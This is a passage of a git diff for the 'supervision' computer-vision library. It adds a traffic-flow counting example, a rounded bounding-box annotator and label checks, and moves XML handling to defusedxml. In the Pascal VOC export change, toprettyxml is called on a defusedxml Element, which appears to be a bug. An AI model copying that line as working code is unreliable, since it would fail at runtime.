--confidence_threshold 0.3 \
|
||||
--iou_threshold 0.5 \
|
||||
--target_video_path data/traffic_analysis_result.mov
|
||||
```
|
||||
|
||||
- inference
|
||||
|
||||
```bash
|
||||
python inference_example.py \
|
||||
--roboflow_api_key <ROBOFLOW API KEY> \
|
||||
--source_video_path data/traffic_analysis.mov \
|
||||
--confidence_threshold 0.3 \
|
||||
--iou_threshold 0.5 \
|
||||
--target_video_path data/traffic_analysis_result.mov
|
||||
```
|
||||
|
||||
## © license
|
||||
|
||||
This demo integrates two main components, each with its own licensing:
|
||||
|
||||
- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
|
||||
under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
|
||||
You can find more details about this license here.
|
||||
|
||||
- supervision: The analytics code that powers the zone-based analysis in this demo is
|
||||
based on the Supervision library, which is licensed under the
|
||||
[MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
|
||||
makes the Supervision part of the code fully open source and freely usable in your
|
||||
projects.
|
||||
|
||||
@@ -0,0 +1,238 @@
|
||||
import argparse
|
||||
import os
|
||||
from typing import Dict, List, Set, Tuple
|
||||
|
||||
import cv2
|
||||
import numpy as np
|
||||
from inference.models.utils import get_roboflow_model
|
||||
from tqdm import tqdm
|
||||
|
||||
import supervision as sv
|
||||
|
||||
COLORS = sv.ColorPalette.default()
|
||||
|
||||
ZONE_IN_POLYGONS = [
|
||||
np.array([[592, 282], [900, 282], [900, 82], [592, 82]]),
|
||||
np.array([[950, 860], [1250, 860], [1250, 1060], [950, 1060]]),
|
||||
np.array([[592, 582], [592, 860], [392, 860], [392, 582]]),
|
||||
np.array([[1250, 282], [1250, 530], [1450, 530], [1450, 282]]),
|
||||
]
|
||||
|
||||
ZONE_OUT_POLYGONS = [
|
||||
np.array([[950, 282], [1250, 282], [1250, 82], [950, 82]]),
|
||||
np.array([[592, 860], [900, 860], [900, 1060], [592, 1060]]),
|
||||
np.array([[592, 282], [592, 550], [392, 550], [392, 282]]),
|
||||
np.array([[1250, 860], [1250, 560], [1450, 560], [1450, 860]]),
|
||||
]
|
||||
|
||||
|
||||
class DetectionsManager:
|
||||
def __init__(self) -> None:
|
||||
self.tracker_id_to_zone_id: Dict[int, int] = {}
|
||||
self.counts: Dict[int, Dict[int, Set[int]]] = {}
|
||||
|
||||
def update(
|
||||
self,
|
||||
detections_all: sv.Detections,
|
||||
detections_in_zones: List[sv.Detections],
|
||||
detections_out_zones: List[sv.Detections],
|
||||
) -> sv.Detections:
|
||||
for zone_in_id, detections_in_zone in enumerate(detections_in_zones):
|
||||
for tracker_id in detections_in_zone.tracker_id:
|
||||
self.tracker_id_to_zone_id.setdefault(tracker_id, zone_in_id)
|
||||
|
||||
for zone_out_id, detections_out_zone in enumerate(detections_out_zones):
|
||||
for tracker_id in detections_out_zone.tracker_id:
|
||||
if tracker_id in self.tracker_id_to_zone_id:
|
||||
zone_in_id = self.tracker_id_to_zone_id[tracker_id]
|
||||
self.counts.setdefault(zone_out_id, {})
|
||||
self.counts[zone_out_id].setdefault(zone_in_id, set())
|
||||
self.counts[zone_out_id][zone_in_id].add(tracker_id)
|
||||
|
||||
detections_all.class_id = np.vectorize(
|
||||
lambda x: self.tracker_id_to_zone_id.get(x, -1)
|
||||
)(detections_all.tracker_id)
|
||||
return detections_all[detections_all.class_id != -1]
|
||||
|
||||
|
||||
def initiate_polygon_zones(
|
||||
polygons: List[np.ndarray],
|
||||
frame_resolution_wh: Tuple[int, int],
|
||||
triggering_position: sv.Position = sv.Position.CENTER,
|
||||
) -> List[sv.PolygonZone]:
|
||||
return [
|
||||
sv.PolygonZone(
|
||||
polygon=polygon,
|
||||
frame_resolution_wh=frame_resolution_wh,
|
||||
triggering_position=triggering_position,
|
||||
)
|
||||
for polygon in polygons
|
||||
]
|
||||
|
||||
|
||||
class VideoProcessor:
|
||||
def __init__(
|
||||
self,
|
||||
roboflow_api_key: str,
|
||||
model_id: str,
|
||||
source_video_path: str,
|
||||
target_video_path: str = None,
|
||||
confidence_threshold: float = 0.3,
|
||||
iou_threshold: float = 0.7,
|
||||
) -> None:
|
||||
self.conf_threshold = confidence_threshold
|
||||
self.iou_threshold = iou_threshold
|
||||
self.source_video_path = source_video_path
|
||||
self.target_video_path = target_video_path
|
||||
|
||||
self.model = get_roboflow_model(model_id=model_id, api_key=roboflow_api_key)
|
||||
self.tracker = sv.ByteTrack()
|
||||
|
||||
self.video_info = sv.VideoInfo.from_video_path(source_video_path)
|
||||
self.zones_in = initiate_polygon_zones(
|
||||
ZONE_IN_POLYGONS, self.video_info.resolution_wh, sv.Position.CENTER
|
||||
)
|
||||
self.zones_out = initiate_polygon_zones(
|
||||
ZONE_OUT_POLYGONS, self.video_info.resolution_wh, sv.Position.CENTER
|
||||
)
|
||||
|
||||
self.box_annotator = sv.BoxAnnotator(color=COLORS)
|
||||
self.trace_annotator = sv.TraceAnnotator(
|
||||
color=COLORS, position=sv.Position.CENTER, trace_length=100, thickness=2
|
||||
)
|
||||
self.detections_manager = DetectionsManager()
|
||||
|
||||
def process_video(self):
|
||||
frame_generator = sv.get_video_frames_generator(
|
||||
source_path=self.source_video_path
|
||||
)
|
||||
|
||||
if self.target_video_path:
|
||||
with sv.VideoSink(self.target_video_path, self.video_info) as sink:
|
||||
for frame in tqdm(frame_generator, total=self.video_info.total_frames):
|
||||
annotated_frame = self.process_frame(frame)
|
||||
sink.write_frame(annotated_frame)
|
||||
else:
|
||||
for frame in tqdm(frame_generator, total=self.video_info.total_frames):
|
||||
annotated_frame = self.process_frame(frame)
|
||||
cv2.imshow("Processed Video", annotated_frame)
|
||||
if cv2.waitKey(1) & 0xFF == ord("q"):
|
||||
break
|
||||
cv2.destroyAllWindows()
|
||||
|
||||
def annotate_frame(
|
||||
self, frame: np.ndarray, detections: sv.Detections
|
||||
) -> np.ndarray:
|
||||
annotated_frame = frame.copy()
|
||||
for i, (zone_in, zone_out) in enumerate(zip(self.zones_in, self.zones_out)):
|
||||
annotated_frame = sv.draw_polygon(
|
||||
annotated_frame, zone_in.polygon, COLORS.colors[i]
|
||||
)
|
||||
annotated_frame = sv.draw_polygon(
|
||||
annotated_frame, zone_out.polygon, COLORS.colors[i]
|
||||
)
|
||||
|
||||
labels = [f"#{tracker_id}" for tracker_id in detections.tracker_id]
|
||||
annotated_frame = self.trace_annotator.annotate(annotated_frame, detections)
|
||||
annotated_frame = self.box_annotator.annotate(
|
||||
annotated_frame, detections, labels
|
||||
)
|
||||
|
||||
for zone_out_id, zone_out in enumerate(self.zones_out):
|
||||
zone_center = sv.get_polygon_center(polygon=zone_out.polygon)
|
||||
if zone_out_id in self.detections_manager.counts:
|
||||
counts = self.detections_manager.counts[zone_out_id]
|
||||
for i, zone_in_id in enumerate(counts):
|
||||
count = len(self.detections_manager.counts[zone_out_id][zone_in_id])
|
||||
text_anchor = sv.Point(x=zone_center.x, y=zone_center.y + 40 * i)
|
||||
annotated_frame = sv.draw_text(
|
||||
scene=annotated_frame,
|
||||
text=str(count),
|
||||
text_anchor=text_anchor,
|
||||
background_color=COLORS.colors[zone_in_id],
|
||||
)
|
||||
|
||||
return annotated_frame
|
||||
|
||||
def process_frame(self, frame: np.ndarray) -> np.ndarray:
|
||||
results = self.model.infer(
|
||||
frame, confidence=self.conf_threshold, iou_threshold=self.iou_threshold
|
||||
)[0]
|
||||
detections = sv.Detections.from_inference(results)
|
||||
detections.class_id = np.zeros(len(detections))
|
||||
detections = self.tracker.update_with_detections(detections)
|
||||
|
||||
detections_in_zones = []
|
||||
detections_out_zones = []
|
||||
|
||||
for i, (zone_in, zone_out) in enumerate(zip(self.zones_in, self.zones_out)):
|
||||
detections_in_zone = detections[zone_in.trigger(detections=detections)]
|
||||
detections_in_zones.append(detections_in_zone)
|
||||
detections_out_zone = detections[zone_out.trigger(detections=detections)]
|
||||
detections_out_zones.append(detections_out_zone)
|
||||
|
||||
detections = self.detections_manager.update(
|
||||
detections, detections_in_zones, detections_out_zones
|
||||
)
|
||||
return self.annotate_frame(frame, detections)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Traffic Flow Analysis with Inference and ByteTrack"
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--model_id",
|
||||
default="vehicle-count-in-drone-video/6",
|
||||
help="Roboflow model ID",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--roboflow_api_key",
|
||||
default=None,
|
||||
help="Roboflow API KEY",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--source_video_path",
|
||||
required=True,
|
||||
help="Path to the source video file",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--target_video_path",
|
||||
default=None,
|
||||
help="Path to the target video file (output)",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--confidence_threshold",
|
||||
default=0.3,
|
||||
help="Confidence threshold for the model",
|
||||
type=float,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
api_key = args.roboflow_api_key
|
||||
api_key = os.environ.get("ROBOFLOW_API_KEY", api_key)
|
||||
if api_key is None:
|
||||
raise ValueError(
|
||||
"Roboflow API KEY is missing. Please provide it as an argument or set the "
|
||||
"ROBOFLOW_API_KEY environment variable."
|
||||
)
|
||||
args.roboflow_api_key = api_key
|
||||
|
||||
processor = VideoProcessor(
|
||||
roboflow_api_key=args.roboflow_api_key,
|
||||
model_id=args.model_id,
|
||||
source_video_path=args.source_video_path,
|
||||
target_video_path=args.target_video_path,
|
||||
confidence_threshold=args.confidence_threshold,
|
||||
iou_threshold=args.iou_threshold,
|
||||
)
|
||||
processor.process_video()
|
||||
@@ -1,4 +1,5 @@
|
||||
supervision>=0.15.0rc1
|
||||
gdown
|
||||
inference
|
||||
supervision
|
||||
tqdm
|
||||
ultralytics
|
||||
gdown
|
||||
|
||||
+1
-3
@@ -62,6 +62,7 @@ theme:
|
||||
name: 'material'
|
||||
logo: assets/supervision-lenny.png
|
||||
favicon: assets/supervision-lenny.png
|
||||
custom_dir: docs/theme
|
||||
palette:
|
||||
# Palette for light mode
|
||||
- scheme: default
|
||||
@@ -85,9 +86,6 @@ theme:
|
||||
plugins:
|
||||
- mkdocstrings
|
||||
- search
|
||||
- social:
|
||||
cards_layout_dir: docs/layouts
|
||||
cards_layout: custom
|
||||
|
||||
markdown_extensions:
|
||||
- admonition
|
||||
|
||||
Generated
+795
-765
File diff suppressed because it is too large
Load Diff
+26
-28
@@ -1,6 +1,6 @@
|
||||
[tool.poetry]
|
||||
name = "supervision"
|
||||
version = "0.17.0"
|
||||
version = "0.18.0rc2"
|
||||
description = "A set of easy-to-use utils that will come in handy in any Computer Vision project"
|
||||
authors = ["Piotr Skalski <piotr.skalski92@gmail.com>"]
|
||||
maintainers = ["Piotr Skalski <piotr.skalski92@gmail.com>"]
|
||||
@@ -10,7 +10,7 @@ packages = [{include = "supervision"}]
|
||||
homepage = "https://github.com/roboflow/supervision"
|
||||
repository = "https://github.com/roboflow/supervision"
|
||||
documentation = "https://github.com/roboflow/supervision/blob/main/README.md"
|
||||
keywords = ["machine-learning", "deep-learning", "vision", "ML", "DL", "AI", "YOLOv5", "YOLOv8", "Roboflow"]
|
||||
keywords = ["machine-learning", "deep-learning", "vision", "ML", "DL", "AI", "Roboflow"]
|
||||
|
||||
classifiers=[
|
||||
'Development Status :: 4 - Beta',
|
||||
@@ -19,10 +19,6 @@ classifiers=[
|
||||
'Intended Audience :: Science/Research',
|
||||
'License :: OSI Approved :: MIT License',
|
||||
'Programming Language :: Python :: 3',
|
||||
'Programming Language :: Python :: 3.8',
|
||||
'Programming Language :: Python :: 3.9',
|
||||
'Programming Language :: Python :: 3.10',
|
||||
'Programming Language :: Python :: 3.11',
|
||||
'Programming Language :: Python :: 3 :: Only',
|
||||
'Topic :: Software Development',
|
||||
'Topic :: Scientific/Engineering',
|
||||
@@ -35,16 +31,17 @@ classifiers=[
|
||||
]
|
||||
|
||||
[tool.poetry.dependencies]
|
||||
python = ">=3.8,<3.12.0"
|
||||
python = "^3.8"
|
||||
numpy = ">=1.21.2"
|
||||
scipy = ">=1.9.0"
|
||||
matplotlib = ">=3.5.0"
|
||||
pyyaml = ">=5.3,<=6.0.1"
|
||||
pyyaml = ">=5.3"
|
||||
pillow = ">=9.4"
|
||||
opencv-python = { version = ">=4.5.5.64,<=4.8.1.78", optional = true }
|
||||
opencv-python-headless = ">=4.5.5.64,<=4.8.1.78"
|
||||
scipy = ">=1.9.0,<=2.0.0"
|
||||
requests = { version = ">=2.26.0,<=2.31.0", optional = true }
|
||||
tqdm = { version = ">=4.62.3,<=4.66.1", optional = true }
|
||||
defusedxml = "^0.7.1"
|
||||
|
||||
|
||||
[tool.poetry.extras]
|
||||
@@ -57,32 +54,17 @@ pytest = "^7.2.2"
|
||||
wheel = ">=0.40,<0.43"
|
||||
notebook = ">=6.5.3,<8.0.0"
|
||||
build = ">=0.10,<1.1"
|
||||
ruff = ">=0.0.280,<0.1.8"
|
||||
ruff = ">=0.1.0"
|
||||
isort = "^5.12.0"
|
||||
black = "^23.7.0"
|
||||
mypy = "^1.4.1"
|
||||
pre-commit = "^3.3.3"
|
||||
flake8 = { version = "*", python = ">=3.8.1,<3.12.0" }
|
||||
tox = "^4.11.4"
|
||||
|
||||
|
||||
[tool.poetry.group.docs.dependencies]
|
||||
mkdocs-material = "^9.1.4"
|
||||
mkdocstrings = {extras = ["python"], version = ">=0.20,<0.25"}
|
||||
|
||||
[tool.flake8]
|
||||
exclude = ".venv"
|
||||
max-complexity = 10
|
||||
max-line-length = 88
|
||||
extend-ignore = """
|
||||
W503,
|
||||
E203,
|
||||
E701,
|
||||
C901,
|
||||
"""
|
||||
per-file-ignores = """
|
||||
__init__.py: F401
|
||||
supervision/assets/list.py: E501
|
||||
"""
|
||||
|
||||
[tool.isort]
|
||||
line_length = 88
|
||||
@@ -90,7 +72,7 @@ profile = "black"
|
||||
|
||||
[tool.bandit]
|
||||
target = ["test", "supervision"]
|
||||
tests = ["B201", "B301"]
|
||||
tests = ["B201", "B301", "B318", "B314", "B303", "B413", "B412", "B410"]
|
||||
|
||||
[tool.autoflake]
|
||||
check = true
|
||||
@@ -152,11 +134,11 @@ exclude = [
|
||||
"yarn-error.log",
|
||||
"yarn.lock",
|
||||
"docs",
|
||||
"supervision/assets/list.py"
|
||||
]
|
||||
|
||||
# Same as Black.
|
||||
line-length = 88
|
||||
indent-width = 4
|
||||
|
||||
# Allow unused variables when underscore-prefixed.
|
||||
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
|
||||
@@ -173,10 +155,26 @@ convention = "google"
|
||||
"__init__.py" = ["E402","F401"]
|
||||
"supervision/assets/list.py" = ["E501"]
|
||||
|
||||
[tool.ruff.lint.mccabe]
|
||||
# Flag errors (`C901`) whenever the complexity level exceeds 5.
|
||||
max-complexity = 20
|
||||
|
||||
|
||||
[tool.ruff.pylint]
|
||||
max-args = 20
|
||||
|
||||
[tool.ruff.format]
|
||||
# Like Black, use double quotes for strings.
|
||||
quote-style = "double"
|
||||
|
||||
# Like Black, indent with spaces, rather than tabs.
|
||||
indent-style = "space"
|
||||
|
||||
# Like Black, respect magic trailing commas.
|
||||
skip-magic-trailing-comma = false
|
||||
|
||||
# Like Black, automatically detect the appropriate line ending.
|
||||
line-ending = "auto"
|
||||
|
||||
[tool.setuptools]
|
||||
include-package-data = false
|
||||
|
||||
@@ -20,6 +20,7 @@ from supervision.annotators.core import (
|
||||
MaskAnnotator,
|
||||
PixelateAnnotator,
|
||||
PolygonAnnotator,
|
||||
RoundBoxAnnotator,
|
||||
TraceAnnotator,
|
||||
TriangleAnnotator,
|
||||
)
|
||||
|
||||
@@ -6,6 +6,7 @@ import numpy as np
|
||||
|
||||
from supervision.annotators.base import BaseAnnotator
|
||||
from supervision.annotators.utils import ColorLookup, Trace, resolve_color
|
||||
from supervision.config import CLASS_NAME_DATA_FIELD
|
||||
from supervision.detection.core import Detections
|
||||
from supervision.detection.utils import clip_boxes, mask_to_polygons
|
||||
from supervision.draw.color import Color, ColorPalette
|
||||
@@ -890,6 +891,16 @@ class LabelAnnotator:
|
||||
anchors_coordinates = detections.get_anchors_coordinates(
|
||||
anchor=self.text_anchor
|
||||
).astype(int)
|
||||
if labels is not None and len(labels) != len(detections):
|
||||
raise ValueError(
|
||||
f"The number of labels provided ({len(labels)}) does not match the "
|
||||
f"number of detections ({len(detections)}). Each detection should have "
|
||||
f"a corresponding label. This discrepancy can occur if the labels and "
|
||||
f"detections are not aligned or if an incorrect number of labels has "
|
||||
f"been provided. Please ensure that the labels array has the same "
|
||||
f"length as the Detections object."
|
||||
)
|
||||
|
||||
for detection_idx, center_coordinates in enumerate(anchors_coordinates):
|
||||
color = resolve_color(
|
||||
color=self.color,
|
||||
@@ -899,11 +910,16 @@ class LabelAnnotator:
|
||||
if custom_color_lookup is None
|
||||
else custom_color_lookup,
|
||||
)
|
||||
text = (
|
||||
f"{detections.class_id[detection_idx]}"
|
||||
if (labels is None or len(detections) != len(labels))
|
||||
else labels[detection_idx]
|
||||
)
|
||||
|
||||
if labels is not None:
|
||||
text = labels[detection_idx]
|
||||
elif detections[CLASS_NAME_DATA_FIELD] is not None:
|
||||
text = detections[CLASS_NAME_DATA_FIELD][detection_idx]
|
||||
elif detections.class_id is not None:
|
||||
text = str(detections.class_id[detection_idx])
|
||||
else:
|
||||
text = str(detection_idx)
|
||||
|
||||
text_w, text_h = cv2.getTextSize(
|
||||
text=text,
|
||||
fontFace=font,
|
||||
@@ -1352,3 +1368,131 @@ class TriangleAnnotator(BaseAnnotator):
|
||||
cv2.fillPoly(scene, [vertices], color.as_bgr())
|
||||
|
||||
return scene
|
||||
|
||||
|
||||
class RoundBoxAnnotator(BaseAnnotator):
|
||||
"""
|
||||
A class for drawing bounding boxes with round edges on an image
|
||||
using provided detections.
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
color: Union[Color, ColorPalette] = ColorPalette.default(),
|
||||
thickness: int = 2,
|
||||
color_lookup: ColorLookup = ColorLookup.CLASS,
|
||||
roundness: float = 0.6,
|
||||
):
|
||||
"""
|
||||
Args:
|
||||
color (Union[Color, ColorPalette]): The color or color palette to use for
|
||||
annotating detections.
|
||||
thickness (int): Thickness of the bounding box lines.
|
||||
color_lookup (str): Strategy for mapping colors to annotations.
|
||||
Options are `INDEX`, `CLASS`, `TRACK`.
|
||||
roundness (float): Percent of roundness for edges of bounding box.
|
||||
Value must be float 0 < roundness <= 1.0
|
||||
By default roundness percent is calculated based on smaller side
|
||||
length (width or height).
|
||||
"""
|
||||
self.color: Union[Color, ColorPalette] = color
|
||||
self.thickness: int = thickness
|
||||
self.color_lookup: ColorLookup = color_lookup
|
||||
if not 0 < roundness <= 1.0:
|
||||
raise ValueError("roundness attribute must be float between (0, 1.0]")
|
||||
self.roundness: float = roundness
|
||||
|
||||
def annotate(
|
||||
self,
|
||||
scene: np.ndarray,
|
||||
detections: Detections,
|
||||
custom_color_lookup: Optional[np.ndarray] = None,
|
||||
) -> np.ndarray:
|
||||
"""
|
||||
Annotates the given scene with bounding boxes with rounded edges
|
||||
based on the provided detections.
|
||||
|
||||
Args:
|
||||
scene (np.ndarray): The image where rounded bounding boxes will be drawn.
|
||||
detections (Detections): Object detections to annotate.
|
||||
custom_color_lookup (Optional[np.ndarray]): Custom color lookup array.
|
||||
Allows to override the default color mapping strategy.
|
||||
|
||||
Returns:
|
||||
The annotated image.
|
||||
|
||||
Example:
|
||||
```python
|
||||
>>> import supervision as sv
|
||||
|
||||
>>> image = ...
|
||||
>>> detections = sv.Detections(...)
|
||||
|
||||
>>> round_box_annotator = sv.RoundBoxAnnotator()
|
||||
>>> annotated_frame = round_box_annotator.annotate(
|
||||
... scene=image.copy(),
|
||||
... detections=detections
|
||||
... )
|
||||
```
|
||||
|
||||

|
||||
"""
|
||||
|
||||
for detection_idx in range(len(detections)):
|
||||
x1, y1, x2, y2 = detections.xyxy[detection_idx].astype(int)
|
||||
color = resolve_color(
|
||||
color=self.color,
|
||||
detections=detections,
|
||||
detection_idx=detection_idx,
|
||||
color_lookup=self.color_lookup
|
||||
if custom_color_lookup is None
|
||||
else custom_color_lookup,
|
||||
)
|
||||
|
||||
radius = (
|
||||
int((x2 - x1) // 2 * self.roundness)
|
||||
if abs(x1 - x2) < abs(y1 - y2)
|
||||
else int((y2 - y1) // 2 * self.roundness)
|
||||
)
|
||||
|
||||
circle_coordinates = [
|
||||
((x1 + radius), (y1 + radius)),
|
||||
((x2 - radius), (y1 + radius)),
|
||||
((x2 - radius), (y2 - radius)),
|
||||
((x1 + radius), (y2 - radius)),
|
||||
]
|
||||
|
||||
line_coordinates = [
|
||||
((x1 + radius, y1), (x2 - radius, y1)),
|
||||
((x2, y1 + radius), (x2, y2 - radius)),
|
||||
((x1 + radius, y2), (x2 - radius, y2)),
|
||||
((x1, y1 + radius), (x1, y2 - radius)),
|
||||
]
|
||||
|
||||
start_angles = (180, 270, 0, 90)
|
||||
end_angles = (270, 360, 90, 180)
|
||||
|
||||
for center_coordinates, line, start_angle, end_angle in zip(
|
||||
circle_coordinates, line_coordinates, start_angles, end_angles
|
||||
):
|
||||
cv2.ellipse(
|
||||
img=scene,
|
||||
center=center_coordinates,
|
||||
axes=(radius, radius),
|
||||
angle=0,
|
||||
startAngle=start_angle,
|
||||
endAngle=end_angle,
|
||||
color=color.as_bgr(),
|
||||
thickness=self.thickness,
|
||||
)
|
||||
|
||||
cv2.line(
|
||||
img=scene,
|
||||
pt1=line[0],
|
||||
pt2=line[1],
|
||||
color=color.as_bgr(),
|
||||
thickness=self.thickness,
|
||||
)
|
||||
|
||||
return scene
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import os
|
||||
from hashlib import md5
|
||||
from hashlib import new as hash_new
|
||||
from pathlib import Path
|
||||
from shutil import copyfileobj
|
||||
from typing import Union
|
||||
@@ -35,9 +35,10 @@ def is_md5_hash_matching(filename: str, original_md5_hash: str) -> bool:
|
||||
|
||||
with open(filename, "rb") as file:
|
||||
file_contents = file.read()
|
||||
computed_md5_hash = md5(file_contents).hexdigest()
|
||||
computed_md5_hash = hash_new(name="MD5")
|
||||
computed_md5_hash.update(file_contents)
|
||||
|
||||
return computed_md5_hash == original_md5_hash
|
||||
return computed_md5_hash.hexdigest() == original_md5_hash
|
||||
|
||||
|
||||
def download_assets(asset_name: Union[VideoAssets, str]) -> str:
|
||||
|
||||
@@ -18,7 +18,7 @@ class VideoAssets(Enum):
|
||||
| `SUBWAY` | `subway.mp4` | [Link](https://media.roboflow.com/supervision/video-examples/subway.mp4) |
|
||||
| `MARKET_SQUARE` | `market-square.mp4` | [Link](https://media.roboflow.com/supervision/video-examples/market-square.mp4) |
|
||||
| `PEOPLE_WALKING` | `people-walking.mp4` | [Link](https://media.roboflow.com/supervision/video-examples/people-walking.mp4) |
|
||||
"""
|
||||
""" # noqa: E501 // docs
|
||||
|
||||
VEHICLES = "vehicles.mp4"
|
||||
MILK_BOTTLING_PLANT = "milk-bottling-plant.mp4"
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
CLASS_NAME_DATA_FIELD = "class_name"
|
||||
@@ -1,11 +1,11 @@
|
||||
import os
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
from xml.dom.minidom import parseString
|
||||
from xml.etree.ElementTree import Element, SubElement, parse, tostring
|
||||
from xml.etree.ElementTree import Element, SubElement
|
||||
|
||||
import cv2
|
||||
import numpy as np
|
||||
from defusedxml.ElementTree import fromstring, parse, tostring
|
||||
|
||||
from supervision.dataset.utils import approximate_mask_with_polygons
|
||||
from supervision.detection.core import Detections
|
||||
@@ -129,7 +129,7 @@ def detections_to_pascal_voc(
|
||||
annotation.append(next_object)
|
||||
|
||||
# Generate XML string
|
||||
xml_string = parseString(tostring(annotation)).toprettyxml(indent=" ")
|
||||
xml_string = fromstring(tostring(annotation)).toprettyxml(indent=" ")
|
||||
|
||||
return xml_string
|
||||
|
||||
@@ -268,12 +268,12 @@ def detections_from_xml_obj(
|
||||
[extended_classes.index(class_name) for class_name in class_names]
|
||||
)
|
||||
|
||||
if with_masks:
|
||||
annotation = Detections(
|
||||
xyxy=xyxy, mask=np.array(masks).astype(bool), class_id=class_id
|
||||
)
|
||||
else:
|
||||
annotation = Detections(xyxy=xyxy, class_id=class_id)
|
||||
annotation = Detections(
|
||||
xyxy=xyxy.astype(np.float32),
|
||||
mask=np.array(masks).astype(bool) if with_masks else None,
|
||||
class_id=class_id,
|
||||
)
|
||||
|
||||
return annotation, extended_classes
|
||||
|
||||
|
||||
|
||||
+250
-139
@@ -1,6 +1,7 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import astuple, dataclass
|
||||
from contextlib import suppress
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any, Dict, Iterator, List, Optional, Tuple, Union
|
||||
|
||||
import numpy as np
|
||||
@@ -8,62 +9,22 @@ import numpy as np
|
||||
from supervision.detection.utils import (
|
||||
calculate_masks_centroids,
|
||||
extract_ultralytics_masks,
|
||||
get_data_item,
|
||||
is_data_equal,
|
||||
merge_data,
|
||||
non_max_suppression,
|
||||
process_roboflow_result,
|
||||
validate_detections_fields,
|
||||
xywh_to_xyxy,
|
||||
)
|
||||
from supervision.geometry.core import Position
|
||||
|
||||
|
||||
def _validate_xyxy(xyxy: Any, n: int) -> None:
|
||||
is_valid = isinstance(xyxy, np.ndarray) and xyxy.shape == (n, 4)
|
||||
if not is_valid:
|
||||
raise ValueError("xyxy must be 2d np.ndarray with (n, 4) shape")
|
||||
|
||||
|
||||
def _validate_mask(mask: Any, n: int) -> None:
|
||||
is_valid = mask is None or (
|
||||
isinstance(mask, np.ndarray) and len(mask.shape) == 3 and mask.shape[0] == n
|
||||
)
|
||||
if not is_valid:
|
||||
raise ValueError("mask must be 3d np.ndarray with (n, H, W) shape")
|
||||
|
||||
|
||||
def validate_inference_callback(callback) -> None:
|
||||
tmp_img = np.zeros((256, 256, 3), dtype=np.uint8)
|
||||
res = callback(tmp_img)
|
||||
if not isinstance(res, Detections):
|
||||
raise ValueError("Callback function must return sv.Detection type")
|
||||
|
||||
|
||||
def _validate_class_id(class_id: Any, n: int) -> None:
|
||||
is_valid = class_id is None or (
|
||||
isinstance(class_id, np.ndarray) and class_id.shape == (n,)
|
||||
)
|
||||
if not is_valid:
|
||||
raise ValueError("class_id must be None or 1d np.ndarray with (n,) shape")
|
||||
|
||||
|
||||
def _validate_confidence(confidence: Any, n: int) -> None:
|
||||
is_valid = confidence is None or (
|
||||
isinstance(confidence, np.ndarray) and confidence.shape == (n,)
|
||||
)
|
||||
if not is_valid:
|
||||
raise ValueError("confidence must be None or 1d np.ndarray with (n,) shape")
|
||||
|
||||
|
||||
def _validate_tracker_id(tracker_id: Any, n: int) -> None:
|
||||
is_valid = tracker_id is None or (
|
||||
isinstance(tracker_id, np.ndarray) and tracker_id.shape == (n,)
|
||||
)
|
||||
if not is_valid:
|
||||
raise ValueError("tracker_id must be None or 1d np.ndarray with (n,) shape")
|
||||
from supervision.utils.internal import deprecated
|
||||
|
||||
|
||||
@dataclass
|
||||
class Detections:
|
||||
"""
|
||||
Data class containing information about the detections in a video frame.
|
||||
A dataclass representing detection results.
|
||||
|
||||
Attributes:
|
||||
xyxy (np.ndarray): An array of shape `(n, 4)` containing
|
||||
@@ -76,6 +37,17 @@ class Detections:
|
||||
`(n,)` containing the class ids of the detections.
|
||||
tracker_id (Optional[np.ndarray]): An array of shape
|
||||
`(n,)` containing the tracker ids of the detections.
|
||||
data (Dict[str, Union[np.ndarray, List]]): A dictionary containing additional
|
||||
data where each key is a string representing the data type, and the value
|
||||
is either a NumPy array or a list of corresponding data.
|
||||
|
||||
!!! warning
|
||||
|
||||
The `data` field in the `sv.Detections` class is currently in an experimental
|
||||
phase. Please be aware that its API and functionality are subject to change in
|
||||
future updates as we continue to refine and improve its capabilities.
|
||||
We encourage users to experiment with this feature and provide feedback, but
|
||||
also to be prepared for potential modifications in upcoming releases.
|
||||
"""
|
||||
|
||||
xyxy: np.ndarray
|
||||
@@ -83,14 +55,17 @@ class Detections:
|
||||
confidence: Optional[np.ndarray] = None
|
||||
class_id: Optional[np.ndarray] = None
|
||||
tracker_id: Optional[np.ndarray] = None
|
||||
data: Dict[str, Union[np.ndarray, List]] = field(default_factory=dict)
|
||||
|
||||
def __post_init__(self):
|
||||
n = len(self.xyxy)
|
||||
_validate_xyxy(xyxy=self.xyxy, n=n)
|
||||
_validate_mask(mask=self.mask, n=n)
|
||||
_validate_class_id(class_id=self.class_id, n=n)
|
||||
_validate_confidence(confidence=self.confidence, n=n)
|
||||
_validate_tracker_id(tracker_id=self.tracker_id, n=n)
|
||||
validate_detections_fields(
|
||||
xyxy=self.xyxy,
|
||||
mask=self.mask,
|
||||
confidence=self.confidence,
|
||||
class_id=self.class_id,
|
||||
tracker_id=self.tracker_id,
|
||||
data=self.data,
|
||||
)
|
||||
|
||||
def __len__(self):
|
||||
"""
|
||||
@@ -107,11 +82,12 @@ class Detections:
|
||||
Optional[float],
|
||||
Optional[int],
|
||||
Optional[int],
|
||||
Dict[str, Union[np.ndarray, List]],
|
||||
]
|
||||
]:
|
||||
"""
|
||||
Iterates over the Detections object and yield a tuple of
|
||||
`(xyxy, mask, confidence, class_id, tracker_id)` for each detection.
|
||||
`(xyxy, mask, confidence, class_id, tracker_id, data)` for each detection.
|
